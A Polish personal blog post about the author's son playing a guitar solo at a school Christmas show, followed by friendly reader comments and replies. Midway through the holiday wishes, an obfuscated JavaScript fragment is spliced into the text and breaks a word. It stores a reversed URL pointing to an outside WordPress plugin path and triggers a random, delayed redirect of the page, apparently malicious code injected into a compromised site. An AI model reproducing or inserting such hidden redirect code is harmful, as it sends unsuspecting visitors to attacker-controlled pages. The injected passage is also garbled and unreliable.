Dziś mam dla Was film w klimacie świątecznym 🙂
Występ mojego syna, Szymona na przedstawieniu świątecznym jakie odbyło się w ubiegłym tygodniu w szkole muzycznej Yamaha w Chojnicach. Zwróć uwagę na brawurową solówkę mojej przyszłej gwiazdy rocka 🙂
Jeśli film będzie się zacinał, wciśnij pauzę i poczekaj kilka minut aż się załaduje.
Wszystkiego najlepszego, spełnienia wszystkich marzeń oraz zatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowolenia z siebie i swojego życia.
życzy Robert Ważyński z rodziną
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Ech te gwiazdy rocka, jeszcze kariera przed nim a już laski do niego lgną 🙂 Wesołych Świąt!
Cześć Sławku!
Zdrowych, pogodnych i… rockowych, przynajmniej kolęd 🙂 A co do tych fanek, kurczę sam zawsze chciałem być gwiazdą rocka! Niestety nie wyszło .. Ale moi synowie, kto wie? Szymon uczy się gry na gitarze a jego brat bliźniak, Bartek na perkusji. Mnie pozostaje “szycie” na basie a małżonka na wokal 🙂 I w trasę!
Jeszcze raz, radosnych Świąt życzę!
Sama gram na gitarze i pamiętam, że moje początki nie były łatwe:)Gratuluję cierpliwości i wytrwałości i jakby co to pamiętajcie, że byłam pierwsza po autograf:)Super:)
Aniu,
autograf masz zapewniony a na pierwszym koncercie także miejsce dla VIPów 🙂
Właśnie na to miałam nadzieję!
Robercie wszystkiego najlepszego na te Święta!
Niech głos nigdy nie odmówi Ci posłuszeństwa (w razie czego można co jakiś czas zakonserwować go koniakiem lub whisky:),
Niech trema pożera… Twoich konkurentów,
Niech przynajmniej jedno Twoje szkolenie rozpocznie się w ciszy:),
Niech brakuje miejsc na Twoich szkoleniach,
A Twoim synom życzę kariery rockowej i latających biustonoszy fanek:):)
pozdrawiam serdecznie
Bartek Pronin
Bartku,
To najsympatyczniejsze życzenia jakie dostałem w tym roku i w ostatnich kilku latach!!! Zostajesz komentatorem miesiąca grudnia (to coś na wzór pracownika miesiąca tylko, że ja nic nie płacę za komentowanie… 🙂 )
Ale, ale mam dla Ciebie upominek – prześlę Ci pocztą narzędzie antystresowe, o którym opowiadam na jednym z filmów – Turbodoładowanie Twojej Prezentacji
pozdrawiam
PS. a co do whisky to wczoraj wychyliłem kilka szklaneczek ale miałem naprawdę powód – opowiem wam tę historię już po świętach.
A co do latających biustonoszy na scenie, jestem ZA (pod warunkiem, że będę przy dziewczynach, które właśnie pozbyły się tego odzienia 🙂
WOW!
Nagranie obejrzałem, kolędę zanuciłem, pod wrażeniem jestem – wszak zły to mistrz którego uczeń nie przerasta – więc tego Wam życzę z całego serca, panie Robercie. Nadal będę zaglądał na bloga – jest zbyt odjazdowy aby z niego nie korzystać!
A co do chwalenia się – “chwalmy siebie samych, bo jak sami się nie pochwalimy, to kto nas tak bezinteresownie pochwali!” To żart – taki mistrz słowa mówionego może zawsze liczyć na szczerą pochwałę 😀
Jerzy
Jurku,
myślę, że wszyscy rodzice chcą aby ich dzieci osiągnęły więcej niż oni. Ja zaliczam się do tego grona i mam to szczęście, że moi synowie w kilku sferach zycia sa juz lepsi od swojego taty!
Np. świetnie pływają (są w pierwszej dziesiątce zawodników w województwie pomorskim) a ja… powiedzmy, że utrzymuję się na powierzchni wody!
Jak widziałeś i słyszałeś, Szymon zaczyna swoją przygodę z gitarą a Bartek z perkusją (na film z nim przyjdzie jeszcze czas). W kolejnym filmie chłopaki jeżdżą na łyżwach a ja… lepiej nie mówić.
Aha, Szymon jest najlepszym uczniem w klasie… Tu akurat poszedł w ślady taty 🙂
Robert
PS. a kolędę możemy zanucić zawsze wspólnie!
pozdrawiam serdecznie i życzę wszystkiego najlepszego